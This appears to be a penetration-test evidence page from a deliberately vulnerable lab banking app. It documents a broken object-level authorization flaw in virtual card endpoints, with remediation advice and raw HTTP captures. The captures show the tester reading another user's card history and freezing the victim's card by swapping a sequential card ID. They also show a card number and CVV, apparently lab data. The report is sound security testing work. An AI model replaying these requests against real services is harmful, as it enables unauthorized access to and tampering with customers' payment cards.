Test case 06 / 26FAIL
Broken Object Level Authorization - Virtual Cards - Card Operations
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations
01 — Notes
Test notes
Vulnerability
[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations
Description
The virtual card endpoints accept card_id from the URL path and operate on it without verifying that the card belongs to the token holder. Card identifiers are sequential integers and therefore easy to enumerate.
Impact
Confidentiality + Integrity (High): any authenticated user can read another customer's virtual card transaction history and change its status. In testing, the attacker froze the victim's card, which is a denial of service against the victim's payment instrument. Similar endpoints in the same module also allow changing limits and topping up funds.
CWE
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP
A01:2021 - Broken Access Control
Scenario
Normal: the attacker accesses their own card transaction history -> succeeds. Exploitation: the attacker changes card_id to the victim's -> HTTP 200, the victim's card history is readable. Impact: the attacker calls toggle-freeze on the victim's card -> the victim's card is successfully frozen and the is_frozen true status is visible from the victim's session.
Endpoint
GET http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions
POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze
Affected feature
Virtual cards (transaction history, card freeze, limits, top-up)
Remediation
- Verify object ownership on every request: match card_id with the user_id from the token before reading or modifying.
- Apply centralized authorization checks across all card endpoints, not per handler.
- Use random UUIDs as card identifiers so they cannot be enumerated.
- Log and monitor cross-object access attempts.
Proof of concept
1) (Screenshot 1) NORMAL: the attacker reads their own card history -> succeeds.
2) (Screenshot 2) EXPLOITATION: the attacker reads the victim's card history -> HTTP 200, the victim's data is exposed.
3) (Screenshot 3) EXPLOITATION: the attacker freezes the victim's card -> Card frozen successfully.
4) (Screenshot 4) CIA IMPACT: from the victim's session, their card appears as is_frozen true due to the attacker's action.
View source note (English)
Vulnerability:
[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations
Description:
The virtual card endpoints accept card_id from the URL path and operate on it without verifying that the card belongs to the token holder. Card identifiers are sequential integers and therefore easy to enumerate.
Impact:
Confidentiality + Integrity (High): any authenticated user can read another customer's virtual card transaction history and change its status. In testing, the attacker froze the victim's card, which is a denial of service against the victim's payment instrument. Similar endpoints in the same module also allow changing limits and topping up funds.
CWE:
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP:
A01:2021 - Broken Access Control
Scenario:
Normal: the attacker accesses their own card transaction history -> succeeds. Exploitation: the attacker changes card_id to the victim's -> HTTP 200, the victim's card history is readable. Impact: the attacker calls toggle-freeze on the victim's card -> the victim's card is successfully frozen and the is_frozen true status is visible from the victim's session.
Endpoint:
GET http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions
POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze
Affected Feature:
Virtual cards (transaction history, card freeze, limits, top-up)
Remediation:
- Verify object ownership on every request: match card_id with the user_id from the token before reading or modifying.
- Apply centralized authorization checks across all card endpoints, not per handler.
- Use random UUIDs as card identifiers so they cannot be enumerated.
- Log and monitor cross-object access attempts.
POC:
1) (Screenshot 1) NORMAL: the attacker reads their own card history -> succeeds.
2) (Screenshot 2) EXPLOITATION: the attacker reads the victim's card history -> HTTP 200, the victim's data is exposed.
3) (Screenshot 3) EXPLOITATION: the attacker freezes the victim's card -> Card frozen successfully.
4) (Screenshot 4) CIA IMPACT: from the victim's session, their card appears as is_frozen true due to the attacker's action.
02 — Screenshots
Screenshots (4)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
GET /api/virtual-cards/2/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:06 GMT
{
"status": "success",
"transactions": []
}CAPTURE 02 / 2
GET /api/virtual-cards/3/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:07 GMT
{
"status": "success",
"transactions": []
}CAPTURE 03 / 3
POST /api/virtual-cards/3/toggle-freeze HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 68
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:08 GMT
{
"message": "Card frozen successfully",
"status": "success"
}CAPTURE 04 / 4
GET /api/virtual-cards HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 433
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:09 GMT
{
"cards": [
{
"balance": 0.0,
"card_number": "3706522538531775",
"card_type": "standard",
"created_at": "2026-09-30 03:02:06.091644",
"currency": "USD",
"currency_symbol": "$",
"cvv": "948",
"expiry_date": "09/27",
"id": 3,
"is_active": true,
"is_frozen": true,
"last_used_at": null,
"limit": 1000.0
}
],
"status": "success"
}